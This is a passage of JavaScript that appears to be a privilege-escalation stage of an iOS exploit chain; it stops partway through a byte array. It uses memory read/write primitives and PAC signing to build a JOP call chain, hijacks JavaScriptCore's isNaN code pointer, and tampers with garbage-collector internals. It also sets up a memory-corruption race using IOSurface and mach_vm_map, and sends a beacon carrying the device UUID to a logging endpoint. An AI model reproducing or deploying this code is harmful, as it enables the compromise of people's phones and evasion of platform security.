Files
2026-09-10 05:04:56 +08:00

10781 lines
850 KiB
JavaScript

globalThis.__LAB_DEVICE_UUID__=globalThis.__LAB_DEVICE_UUID__||"69DD25B2CA8B5682BA2470D77124E2FC";
(() => {
try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {}
try { fcall_init(); func_offsets_array[0x2100] = 0x51; }
catch (_m1) {
try { func_offsets_array[0x2100] = 0x45; var _es1 = (_m1 && _m1.message) ? String(_m1.message) : String(_m1); for (var _ei1 = 0; _ei1 < 24 && _ei1 < _es1.length; _ei1++) func_offsets_array[0x2108 + _ei1] = _es1.charCodeAt(_ei1) & 0xff; } catch (_m2) {}
throw _m1;
}
// === BEGIN LAB_PE_ALIVE ===
try {
var __peAliveOnce = false;
// No BSD socket probes. Later (after Native) pe_alive_ping uses CFNetwork GET /api/ds/log.
var pe_alive_ping = function (tag) {
try {
if (__peAliveOnce && tag === "pe_fcall_ok") return;
if (tag === "pe_fcall_ok") __peAliveOnce = true;
if (typeof __labCfHttp === "function") {
var uuid = "";
try {
var g = typeof globalThis !== "undefined" ? globalThis : null;
if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__);
} catch (_u) {}
var text = "[pe] " + String(tag).substring(0, 80);
var enc = "";
for (var ci = 0; ci < text.length; ci++) {
var c = text.charCodeAt(ci);
if ((c >= 0x30 && c <= 0x39) || (c >= 0x41 && c <= 0x5a) || (c >= 0x61 && c <= 0x7a) || c === 0x2d || c === 0x2e || c === 0x5f || c === 0x7e)
enc += text.charAt(ci);
else if (c === 0x20) enc += "+";
else {
var hx = c.toString(16).toUpperCase();
if (hx.length < 2) hx = "0" + hx;
enc += "%" + hx;
}
}
var q = "text=" + enc;
if (uuid) q += "&deviceUUID=" + uuid;
__labCfHttp("GET", "/api/ds/log?" + q, null, false);
}
} catch (_e) {}
};
pe_alive_ping("pe_fcall_ok");
} catch (_peAlive) {}
// === END LAB_PE_ALIVE ===
try { func_offsets_array[0x2100] = 0x52; } catch (_m3) {}
let PAGE_SIZE = 0x4000n;
let KERN_SUCCESS = 0n;
let CALLOC = func_resolve("calloc");
let MALLOC = func_resolve("malloc");
let FREE = func_resolve("free");
let MEMCPY = func_resolve("memcpy");
let MEMSET = func_resolve("memset");
let SLEEP = func_resolve("sleep");
let USLEEP = func_resolve("usleep");
let STRCMP = func_resolve("strcmp");
let STRCPY = func_resolve("strcpy");
let STRNCPY = func_resolve("strncpy");
let SNPRINTF = func_resolve("snprintf");
let PRINTF = func_resolve("printf");
let ERRNO = func_resolve("errno");
let CLOSE = func_resolve("close");
let EXIT = func_resolve("exit");
let GETCHAR = func_resolve("getchar");
let GETPID = func_resolve("getpid");
let SYSCALL = func_resolve("syscall");
let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate");
let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate");
let MACH_ERROR_STRING = func_resolve("mach_error_string");
let MACH_PORT_ALLOCATE = func_resolve("mach_port_allocate");
let kIOMasterPortDefault = func_resolve("kIOMasterPortDefault");
function assert(a, b = "N/A") {
if (!a) {
throw new Error(`assert failed: ${b}`);
}
}
function ERROR(a) {
throw new Error(a);
}
function new_uint64_t(val = 0n) {
let buf = calloc(1n, 8n);
uwrite64(buf, val);
return buf;
}
function mach_task_self() {
return 0x203n;
}
function calloc(...args) {
return fcall(CALLOC, ...args);
}
function malloc(...args) {
return fcall(MALLOC, ...args);
}
function free(...args) {
return fcall(FREE, ...args);
}
function memcpy(...args) {
return fcall(MEMCPY, ...args);
}
function memset(...args) {
return fcall(MEMSET, ...args);
}
function sleep(...args) {
return fcall(SLEEP, ...args);
}
function usleep(...args) {
return fcall(USLEEP, ...args);
}
function strcmp(...args) {
return fcall(STRCMP, ...args);
}
function strcpy(...args) {
return fcall(STRCPY, ...args);
}
function strncpy(...args) {
return fcall(STRNCPY, ...args);
}
function snprintf(...args) {
return fcall(SNPRINTF, buf, size, fmt, 0n, 0n, 0n, 0n, 0n, ...args);
}
function printf(...args) {
return fcall(PRINTF, get_cstring(fmt), 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args);
}
function close(...args) {
return fcall(CLOSE, ...args);
}
function exit(...args) {
return fcall(EXIT, ...args);
}
function getchar(...args) {
return fcall(GETCHAR, ...args);
}
function getpid(...args) {
return fcall(GETPID, ...args);
}
function syscall(num, ...args) {
return fcall(SYSCALL, num, 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args);
}
function mach_vm_allocate(...args) {
return fcall(MACH_VM_ALLOCATE, ...args);
}
function mach_vm_deallocate(...args) {
return fcall(MACH_VM_DEALLOCATE, ...args);
}
function mach_error_string(...args) {
return fcall(MACH_ERROR_STRING, ...args);
}
function mach_port_allocate(...args) {
return fcall(MACH_PORT_ALLOCATE, ...args);
}
let g_device_machine = 0n;
function get_device_machine() {
if (g_device_machine == 0n) {
let utsname = calloc(256n, 5n);
fcall(UNAME, utsname);
g_device_machine = utsname + 256n * 4n;
}
return g_device_machine;
}
let OBJC_ALLOC = func_resolve("objc_alloc");
let OBJC_ALLOC_INIT = func_resolve("objc_alloc_init");
let OBJC_GETCLASS = func_resolve("objc_getClass");
let OBJC_MSGSEND = func_resolve("objc_msgSend");
let SEL_REGISTERNAME = func_resolve("sel_registerName");
let CFDICTIONARYCREATEMUTABLE = func_resolve("CFDictionaryCreateMutable");
let CFDICTIONARYSETVALUE = func_resolve("CFDictionarySetValue");
let CFNUMBERCREATE = func_resolve("CFNumberCreate");
let CFRELEASE = func_resolve("CFRelease");
let CFSHOW = func_resolve("CFShow");
let CFSTRINGCREATECOPY = func_resolve("CFStringCreateCopy");
let CFSTRINGCREATEWITHCSTRING = func_resolve("CFStringCreateWithCString");
let kCFAllocatorDefault = uread64(func_resolve("kCFAllocatorDefault").noPAC());
let kCFStringEncodingUTF8 = 0x08000100n;
let kCFTypeDictionaryKeyCallBacks = func_resolve("kCFTypeDictionaryKeyCallBacks").noPAC();
let kCFTypeDictionaryValueCallBacks = func_resolve("kCFTypeDictionaryValueCallBacks").noPAC();
function CFDictionaryCreateMutable(...args) {
return fcall(CFDICTIONARYCREATEMUTABLE, ...args);
}
function CFDictionarySetValue(...args) {
return fcall(CFDICTIONARYSETVALUE, ...args);
}
function CFNumberCreate(...args) {
return fcall(CFNUMBERCREATE, ...args);
}
function CFRelease(...args) {
return fcall(CFRELEASE, ...args);
}
function CFShow(...args) {
return fcall(CFSHOW, ...args);
}
function CFStringCreateCopy(...args) {
return fcall(CFSTRINGCREATECOPY, ...args);
}
function CFStringCreateWithCString(...args) {
return fcall(CFSTRINGCREATEWITHCSTRING, ...args);
}
function objc_alloc(class_obj) {
return fcall(OBJC_ALLOC, class_obj);
}
function objc_alloc_init(class_obj) {
return fcall(OBJC_ALLOC_INIT, class_obj);
}
function objc_getClass(class_name) {
return fcall(OBJC_GETCLASS, get_cstring(class_name));
}
function objc_msgSend(...args) {
return fcall(OBJC_MSGSEND, ...args);
}
function sel_registerName(cstr) {
return fcall(SEL_REGISTERNAME, cstr);
}
let selector_evaluateScript = sel_registerName(get_cstring("evaluateScript:"));
let selector_initWithTarget_selector_object = sel_registerName(get_cstring("initWithTarget:selector:object:"));
let selector_invocationWithMethodSignature = sel_registerName(get_cstring("invocationWithMethodSignature:"));
let selector_invoke = sel_registerName(get_cstring("invoke"));
let selector_isFinished = sel_registerName(get_cstring("isFinished"));
let selector_methodSignatureForSelector = sel_registerName(get_cstring("methodSignatureForSelector:"));
let selector_objectForKeyedSubscript = sel_registerName(get_cstring("objectForKeyedSubscript:"));
let selector_release = sel_registerName(get_cstring("release"));
let selector_retainCount = sel_registerName(get_cstring("retainCount"));
let selector_setArgument_atIndex = sel_registerName(get_cstring("setArgument:atIndex:"));
let selector_start = sel_registerName(get_cstring("start"));
let invoke_class = objc_getClass("NSInvocation");
let jsc_class = objc_getClass("JSContext");
let nsthread_class = objc_getClass("NSThread");
function create_cfstring(cstring) {
return CFStringCreateWithCString(kCFAllocatorDefault, cstring, kCFStringEncodingUTF8);
}
let cfstr_boxed_arr = create_cfstring(get_cstring("boxed_arr"));
let cfstr_control_array = create_cfstring(get_cstring("control_array"));
let cfstr_control_array_8 = create_cfstring(get_cstring("control_array_8"));
let cfstr_func_offsets_array = create_cfstring(get_cstring("func_offsets_array"));
let cfstr_isNaN = create_cfstring(get_cstring("isNaN"));
let cfstr_rw_array = create_cfstring(get_cstring("rw_array"));
let cfstr_rw_array_8 = create_cfstring(get_cstring("rw_array_8"));
let cfstr_unboxed_arr = create_cfstring(get_cstring("unboxed_arr"));
function create_cfstring_copy(cfstring) {
return CFStringCreateCopy(kCFAllocatorDefault, cfstring);
}
function object_retainCount(obj) {
return objc_msgSend(obj, selector_retainCount);
}
function object_release(obj) {
return objc_msgSend(obj, selector_release);
}
function objectForKeyedSubscript(obj, cfstr_key) {
return objc_msgSend(obj, selector_objectForKeyedSubscript, cfstr_key);
}
function evaluateScript(obj, jscript) {
return objc_msgSend(obj, selector_evaluateScript, jscript);
}
function methodSignatureForSelector(obj, sel) {
return objc_msgSend(obj, selector_methodSignatureForSelector, sel);
}
function invocationWithMethodSignature(obj, sig) {
return objc_msgSend(obj, selector_invocationWithMethodSignature, sig);
}
function setArgument_atIndex(obj, arg, idx) {
return objc_msgSend(obj, selector_setArgument_atIndex, arg, idx);
}
function initWithTarget_selector_object(obj, target, sel, object) {
return objc_msgSend(obj, selector_initWithTarget_selector_object, target, sel, object);
}
function nsthread_start(obj) {
return objc_msgSend(obj, selector_start);
}
function setup_fcall_jopchain() {
let jsvm_fcall_buff = malloc(PAGE_SIZE);
let load_x1x3x8_args = jsvm_fcall_buff + 0x100n;
let jsvm_fcall_args = jsvm_fcall_buff + 0x200n;
uwrite64(jsvm_fcall_buff + 0x0n, load_x1x3x8_args);
uwrite64(jsvm_fcall_buff + 0x8n, pacia(load_x1x3x8, 0n));
uwrite64(jsvm_fcall_buff + 0x10n, pacia(_CFObjectCopyProperty, 0n));
uwrite64(jsvm_fcall_buff + 0x40n, pacia(jsvm_isNAN_fcall_gadget2, 0n));
uwrite64(load_x1x3x8_args + 0x20n, load_x1x3x8_args + 0x40n);
uwrite64(load_x1x3x8_args + 0x28n, jsvm_fcall_args - 0x10n);
uwrite64(load_x1x3x8_args + 0x30n, pacia(0x41414141n, 0xC2D0n));
uwrite64(load_x1x3x8_args + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args + 0x50n));
return {
"jsvm_fcall_buff": jsvm_fcall_buff,
"jsvm_fcall_pc": load_x1x3x8_args + 0x30n,
"jsvm_fcall_args": jsvm_fcall_args
};
}
let evaluateScript_invocation = 0n;
function js_thread_spawn(js_script_nsstring, target_thread_arg = 0x0n) {
if (typeof js_script_nsstring === "string") {
js_script_nsstring = create_cfstring(get_cstring(js_script_nsstring));
} else if (typeof js_script_nsstring === "object") {
js_script_nsstring = create_cfstring(uread64(addrof(js_script_nsstring) + 0x10n));
} else {
js_script_nsstring = create_cfstring_copy(js_script_nsstring);
}
let jop_chain_info = setup_fcall_jopchain();
let jsvm_fcall_buff = jop_chain_info["jsvm_fcall_buff"];
let jsvm_fcall_pc = jop_chain_info["jsvm_fcall_pc"];
let jsvm_fcall_args = jop_chain_info["jsvm_fcall_args"];
let ctx = objc_alloc_init(jsc_class);
let isnan_value = objectForKeyedSubscript(ctx, cfstr_isNaN);
let isnan_func_addr = uread64(isnan_value + 0x8n);
let isnan_executable_addr = uread64(isnan_func_addr + 0x18n);
let isnan_code_ptr = isnan_executable_addr + 0x28n;
evaluateScript(ctx, stage1_js);
let unboxed_arr_value = objectForKeyedSubscript(ctx, cfstr_unboxed_arr);
let unboxed_arr_addr = uread64(unboxed_arr_value + 0x8n);
let boxed_arr_value = objectForKeyedSubscript(ctx, cfstr_boxed_arr);
let boxed_arr_addr = uread64(boxed_arr_value + 0x8n);
let boxed_arr_butter = uread64(boxed_arr_addr + 0x8n);
uwrite64(unboxed_arr_addr + 0x8n, boxed_arr_butter);
let rw_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array) + 0x8n);
let control_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array) + 0x8n);
let rw_array_buffer_bk = uread64(rw_array_addr + 0x10n);
let control_array_buffer_bk = uread64(control_array_addr + 0x10n);
uwrite64(control_array_addr + 0x10n, rw_array_addr + 0x10n);
let rw_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array_8) + 0x8n);
let control_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array_8) + 0x8n);
let rw_array_8_buffer_bk = uread64(rw_array_8_addr + 0x10n);
let control_array_8_buffer_bk = uread64(control_array_8_addr + 0x10n);
uwrite64(control_array_8_addr + 0x10n, rw_array_8_addr + 0x10n);
let signing_ctx = 0x4911n;
let signed_fcall_addr = pacib(jsvm_isNAN_fcall_gadget, signing_ctx);
uwrite64(isnan_code_ptr, signed_fcall_addr);
let new_func_offsets = objectForKeyedSubscript(ctx, cfstr_func_offsets_array);
let new_func_offsets_addr = uread64(new_func_offsets + 0x8n);
let new_func_offsets_buffer = uread64(new_func_offsets_addr + 0x10n);
memcpy(new_func_offsets_buffer, func_offsets_buffer, PAGE_SIZE);
uwrite64(new_func_offsets_buffer + 3n * 0x8n, target_thread_arg);
uwrite64(new_func_offsets_buffer + 5n * 0x8n, jsvm_fcall_buff);
uwrite64(new_func_offsets_buffer + 6n * 0x8n, jsvm_fcall_pc);
uwrite64(new_func_offsets_buffer + 7n * 0x8n, jsvm_fcall_args);
if (evaluateScript_invocation == 0n) {
let evaluateScript_signature = methodSignatureForSelector(ctx, selector_evaluateScript);
evaluateScript_invocation = invocationWithMethodSignature(invoke_class, evaluateScript_signature);
setArgument_atIndex(evaluateScript_invocation, new_uint64_t(selector_evaluateScript), 1n);
}
setArgument_atIndex(evaluateScript_invocation, new_uint64_t(ctx), 0n);
setArgument_atIndex(evaluateScript_invocation, new_uint64_t(js_script_nsstring), 2n);
let nsthread = objc_alloc(nsthread_class);
initWithTarget_selector_object(nsthread, evaluateScript_invocation, selector_invoke, 0n);
nsthread_start(nsthread);
return {
"thread_handle": nsthread,
"js_ctx": ctx,
"jop_chain_info": jop_chain_info,
"js_script_nsstring": js_script_nsstring,
"rw_array_buffer_bk": rw_array_buffer_bk,
"control_array_buffer_bk": control_array_buffer_bk,
"rw_array_8_buffer_bk": rw_array_8_buffer_bk,
"control_array_8_buffer_bk": control_array_8_buffer_bk
};
}
function js_thread_join(js_thread) {
let jop_chain_info = js_thread["jop_chain_info"];
let js_ctx = js_thread["js_ctx"];
let js_script_nsstring = js_thread["js_script_nsstring"];
let nsthread = js_thread["thread_handle"];
while (true) {
let isFinished = objc_msgSend(nsthread, selector_isFinished);
if (isFinished == 1n) {
break;
}
}
object_release(nsthread);
uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array) + 0x8n) + 0x10n, js_thread["rw_array_buffer_bk"]);
uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array) + 0x8n) + 0x10n, js_thread["control_array_buffer_bk"]);
uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array_8) + 0x8n) + 0x10n, js_thread["rw_array_8_buffer_bk"]);
uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array_8) + 0x8n) + 0x10n, js_thread["control_array_8_buffer_bk"]);
let jsc_ref_count = object_retainCount(js_ctx);
for (let i = 0n; i < jsc_ref_count; i++) {
object_release(js_ctx);
}
CFRelease(js_script_nsstring);
free(jop_chain_info["jsvm_fcall_buff"]);
}
let RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;
let VM_FLAGS_ANYWHERE = 1n;
let VM_FLAGS_FIXED = 0n;
let VM_FLAGS_OVERWRITE = 0x4000n;
let VM_FLAGS_RANDOM_ADDR = 8n;
let VM_INHERIT_NONE = 2n;
let VM_PROT_DEFAULT = 3n;
let PROT_READ = 0x1n;
let PROT_WRITE = 0x2n;
let MAP_SHARED = 0x1n;
let AF_INET6 = 30n;
let SOCK_DGRAM = 2n;
let IPPROTO_ICMPV6 = 58n;
let ICMP6_FILTER = 18n;
let SEEK_SET = 0n;
let _NSGETEXECUTABLEPATH = func_resolve("_NSGetExecutablePath");
let ACCESS = func_resolve("access");
let CONFSTR = func_resolve("confstr");
let FCNTL = func_resolve("fcntl");
let FSYNC = func_resolve("fsync");
let FILEPORT_MAKEFD = func_resolve("fileport_makefd");
let FILEPORT_MAKEPORT = func_resolve("fileport_makeport");
let FOPEN = func_resolve("fopen");
let FCLOSE = func_resolve("fclose");
let FWRITE = func_resolve("fwrite");
let GETSOCKOPT = func_resolve("getsockopt");
let LSEEK = func_resolve("lseek");
let MACH_THREAD_SELF = func_resolve("mach_thread_self");
let MEMMEM = func_resolve("memmem");
let MEMSET_PATTERN8 = func_resolve("memset_pattern8");
let OPEN = func_resolve("open");
let PREADV = func_resolve("preadv");
let PWRITEV = func_resolve("pwritev");
let PWRITE = func_resolve("pwrite");
let PREAD = func_resolve("pread");
let READ = func_resolve("read");
let SETSOCKOPT = func_resolve("setsockopt");
let SOCKET = func_resolve("socket");
let STRCAT = func_resolve("strcat");
let STRSTR = func_resolve("strstr");
let STRLEN = func_resolve("strlen");
let STRNCMP = func_resolve("strncmp");
let STRRCHR = func_resolve("strrchr");
let PTHREAD_SELF = func_resolve("pthread_self");
let PTHREAD_JOIN = func_resolve("pthread_join");
let WRITE = func_resolve("write");
let REMOVE = func_resolve("remove");
let ARC4RANDOM = func_resolve("arc4random");
let TASK_THREADS = func_resolve("task_threads");
let THREAD_SUSPEND = func_resolve("thread_suspend");
let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64");
let MACH_PORT_DEALLOCATE = func_resolve("mach_port_deallocate");
let MACH_VM_MAP = func_resolve("mach_vm_map");
let MMAP = func_resolve("mmap");
let MLOCK = func_resolve("mlock");
let MUNLOCK = func_resolve("munlock");
let UNAME = func_resolve("uname");
let IOSURFACECREATE = func_resolve("IOSurfaceCreate");
let IOSURFACEPREFETCHPAGES = func_resolve("IOSurfacePrefetchPages");
let IOSURFACEGETBASEADDRESS = func_resolve("IOSurfaceGetBaseAddress");
let kIOSurfaceAllocSize = uread64(func_resolve("kIOSurfaceAllocSize").noPAC());
function DUMP(addr, sz) {}
function js_malloc(sz) {
buff = new Uint8Array(BigInt(sz).asInt32s).fill(0x00);
return uread64(mem.addrof(buff) + 0x10n);
}
function mach_thread_self() {
return fcall(MACH_THREAD_SELF);
}
function pthread_getspecific(key) {
return fcall(PTHREAD_GETSPECIFIC, key);
}
function pthread_self() {
return fcall(PTHREAD_SELF);
}
function pthread_join(thr, val) {
return fcall(PTHREAD_JOIN, thr, val);
}
function _NSGetExecutablePath(executable_path, length_ptr) {
return fcall(_NSGETEXECUTABLEPATH, executable_path, length_ptr);
}
function confstr(name, buf, len) {
return fcall(CONFSTR, name, buf, len);
}
function strrchr(s, c) {
return fcall(STRRCHR, s, c);
}
function strcat(s1, s2) {
return fcall(STRCAT, s1, s2);
}
function strlen(s) {
return fcall(STRLEN, s);
}
function strstr(s1, s2) {
return fcall(STRSTR, s1, s2);
}
function strncmp(s1, s2, n) {
return fcall(STRNCMP, s1, s2, n);
}
function socket(domain, type, protocol) {
return fcall(SOCKET, domain, type, protocol);
}
function getsockopt(socket, level, option_name, option_value, option_len) {
return fcall(GETSOCKOPT, socket, level, option_name, option_value, option_len);
}
function setsockopt(socket, level, option_name, option_value, option_len) {
return fcall(SETSOCKOPT, socket, level, option_name, option_value, option_len);
}
function fileport_makeport(fd, port) {
return fcall(FILEPORT_MAKEPORT, fd, port);
}
function fileport_makefd(port) {
return fcall(FILEPORT_MAKEFD, port);
}
function memset_pattern8(buf, val, sz) {
return fcall(MEMSET_PATTERN8, buf, val, sz);
}
function memmem(big, big_len, little, little_len) {
return fcall(MEMMEM, big, big_len, little, little_len);
}
function access(path, mode) {
return fcall(ACCESS, path, mode);
}
function open(path, mode) {
return fcall(OPEN, path, mode);
}
function fopen(path, mode) {
return fcall(FOPEN, path, mode);
}
function fclose(fd) {
return fcall(FCLOSE, fd);
}
function fwrite(buf, sz, nitem, fd) {
return fcall(FWRITE, buf, sz, nitem, fd);
}
function preadv(fildes, iov, iovcnt, offset) {
return fcall(PREADV, fildes, iov, iovcnt, offset);
}
function pwritev(fildes, iov, iovcnt, offset) {
return fcall(PWRITEV, fildes, iov, iovcnt, offset);
}
function pwrite(fildes, buff, size, offset) {
return fcall(PWRITE, fildes, buff, size, offset);
}
function pread(fildes, buff, size, offset) {
return fcall(PREAD, fildes, buff, size, offset);
}
function read(fd, buf, sz) {
return fcall(READ, fd, buf, sz);
}
function write(fd, buf, sz) {
return fcall(WRITE, fd, buf, sz);
}
function remove(path) {
return fcall(REMOVE, path);
}
function arc4random() {
return fcall(ARC4RANDOM);
}
function task_threads(task, thread_list_addr, thread_count_addr) {
return fcall(TASK_THREADS, task, thread_list_addr, thread_count_addr);
}
function fcntl(fd, flag, value) {
return fcall(FCNTL, fd, flag, 0n, 0n, 0n, 0n, 0n, 0n, value);
}
function lseek(fildes, offset, whence) {
return fcall(LSEEK, fildes, offset, whence);
}
function fsync(fd) {
return fcall(FSYNC, fd);
}
function CFStringCreateWithCString(allocator, cstring, encoding) {
return fcall(CFSTRINGCREATEWITHCSTRING, allocator, cstring, encoding);
}
function CFStringCreateCopy(allocator, cfstring) {
return fcall(CFSTRINGCREATECOPY, allocator, cfstring);
}
function CFDictionarySetValue(dict, key, value) {
return fcall(CFDICTIONARYSETVALUE, dict, key, value);
}
function CFNumberCreate(allocator, theType, valuePtr) {
return fcall(CFNUMBERCREATE, allocator, theType, valuePtr);
}
function IOSurfaceCreate(dict) {
return fcall(IOSURFACECREATE, dict);
}
function IOSurfaceGetBaseAddress(surface) {
return fcall(IOSURFACEGETBASEADDRESS, surface);
}
function IOSurfacePrefetchPages(surface) {
return fcall(IOSURFACEPREFETCHPAGES, surface);
}
function CFRelease(obj) {
return fcall(CFRELEASE, obj);
}
function CFShow(obj) {
return fcall(CFSHOW, obj);
}
function mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry) {
return fcall(MACH_MAKE_MEMORY_ENTRY_64, target_task, size, offset, permission, object_handle, parent_entry);
}
function mach_vm_map(target_task, address, size, mask, flags, object, offset, copy, cur_protection, max_protection, inheritance) {
return fcall(MACH_VM_MAP, target_task, address, size, mask, flags, object, offset, copy, cur_protection | max_protection << 32n, inheritance);
}
function mmap(addr, len, prot, flags, fd, offset) {
return fcall(MMAP, addr, len, prot, flags, fd, offset);
}
function mlock(address, size) {
return fcall(MLOCK, address, size);
}
function munlock(address, size) {
return fcall(MUNLOCK, address, size);
}
function mach_port_deallocate(task, name) {
return fcall(MACH_PORT_DEALLOCATE, task, name);
}
function mach_task_self() {
return 0x203n;
}
function new_uint64_t(val = 0n) {
let buf = calloc(1n, 8n);
uwrite64(buf, val);
return buf;
}
function disable_gc() {
let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);
let heap = vm + 0xc0n;
let isSafeToCollect = heap + 0x241n;
uwrite64(isSafeToCollect, 0n);
}
function enable_gc() {
let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);
let heap = vm + 0xc0n;
let isSafeToCollect = heap + 0x241n;
uwrite64(isSafeToCollect, 1n);
}
function disarm_gc() {
let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);
let heap = vm + 0xc0n;
let m_threadGroup = uread64(heap + 0x198n);
let threads = uread64(m_threadGroup);
uwrite64(threads + 0x20n, 0x0n);
}
disable_gc();
disarm_gc();
enable_gc();
let executable_name = 0n;
let read_file_path = 0n;
let write_file_path = 0n;
let target_file_size = PAGE_SIZE * 0x2n;
let oob_offset = 0x100n;
let oob_size = 0xf00n;
let n_of_oob_pages = 2n;
let pc_address = new_bigint();
let pc_size = 0n;
let pc_object = new_bigint();
let free_target = 0n;
let free_target_size = 0n;
let write_fd = 0n;
let read_fd = 0n;
let random_marker = arc4random() << 32n | arc4random();
let wired_page_marker = arc4random() << 32n | arc4random();
let free_thread_start_ptr = 0n;
let free_target_sync_ptr = 0n;
let free_target_size_sync_ptr = 0n;
let target_object_sync_ptr = 0n;
let target_object_offset_sync_ptr = 0n;
let go_sync_ptr = 0n;
let race_sync_ptr = 0n;
let free_thread_jsthread = 0n;
let free_thread_arg = 0n;
function init_target_file() {
let _CS_DARWIN_USER_TEMP_DIR = 65537n;
read_file_path = calloc(1n, 1024n);
write_file_path = calloc(1n, 1024n);
confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024n);
confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n);
strcat(read_file_path, get_cstring(`/${arc4random().hex()}`));
strcat(write_file_path, get_cstring(`/${arc4random().hex()}`));
create_target_file(read_file_path);
create_target_file(write_file_path);
read_fd = open(read_file_path, 0x2n);
write_fd = open(write_file_path, 0x2n);
LOG("[+] read_fd: " + read_fd.hex());
LOG("[+] write_fd: " + write_fd.hex());
remove(read_file_path);
remove(write_file_path);
fcntl(read_fd, 48n, 1n);
fcntl(write_fd, 48n, 1n);
}
function pe_init() {
init_target_file();
if (executable_name == 0n) {
let length = BigInt("0x1024");
let executable_path = calloc(1n, length);
_NSGetExecutablePath(executable_path, get_bigint_addr(length));
executable_name = strrchr(executable_path, 0x2fn);
if (executable_name != 0n) {
executable_name = executable_name + 0x1n;
} else {
executable_name = executable_path;
}
}
free_thread_arg = calloc(1n, PAGE_SIZE);
LOG("[+] free_thread_arg: " + free_thread_arg.hex());
free_thread_start_ptr = free_thread_arg;
free_target_sync_ptr = free_thread_arg + 0x8n;
free_target_size_sync_ptr = free_thread_arg + 0x10n;
target_object_sync_ptr = free_thread_arg + 0x18n;
target_object_offset_sync_ptr = free_thread_arg + 0x20n;
go_sync_ptr = free_thread_arg + 0x28n;
race_sync_ptr = free_thread_arg + 0x30n;
let free_thread_js_data = new Uint8Array([102, 99, 97, 108, 108, 95, 105, 110, 105, 116, 40, 41, 59, 10, 108, 101, 116, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 32, 32, 32, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 67, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 82, 69, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 114, 101, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 69, 77, 67, 80, 89, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 34, 41, 59, 10, 10, 108, 101, 116, 32, 83, 76, 69, 69, 80, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 85, 83, 76, 69, 69, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 77, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 80, 89, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 80, 89, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 78, 80, 82, 73, 78, 84, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 110, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 73, 78, 84, 70, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 10, 108, 101, 116, 32, 69, 82, 82, 78, 79, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 114, 114, 110, 111, 34, 41, 59, 10, 108, 101, 116, 32, 67, 76, 79, 83, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 69, 88, 73, 84, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 